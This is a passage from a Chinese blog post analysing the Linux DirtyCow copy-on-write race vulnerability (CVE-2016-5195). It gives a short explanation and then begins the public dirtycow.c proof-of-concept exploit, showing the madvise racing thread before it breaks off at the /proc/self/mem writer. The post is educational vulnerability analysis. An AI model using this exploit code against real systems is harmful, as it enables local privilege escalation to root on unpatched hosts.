DirtyCow漏洞分析

最新推荐文章于 2025-03-05 16:20:00 发布

Mandorr

最新推荐文章于 2025-03-05 16:20:00 发布

阅读量907

点赞数

CC 4.0 BY-SA版权

分类专栏： LiveOverflow-binary hacking

本文链接：https://blog.youkuaiyun.com/qq_25899635/article/details/96771444

本文深入分析了Linux内核的 DirtyCow 漏洞（CVE-2016-5195），该漏洞允许本地低权限用户通过条件竞争，获取只读内存映射的写权限，从而提升到root权限。通过展示PoC代码，解释了如何利用madvise和mmap等函数触发这个权限提升漏洞，以及如何通过/proc/self/mem文件进行内存修改。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

.
　　漏洞编号：CVE-2016-5195，　该漏洞是 Linux 内核的内存子系统在处理写时拷贝（Copy-on-Write）时存在条件竞争漏洞，导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后，利用此漏洞获取其他只读内存映射的写权限，进一步获取 root 权限。这是一个Linux kernel的本地权限提升漏洞。这里通过一个实验来逐步分析这个漏洞。
　　先来看一段poc代码：
dirtycow.c

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)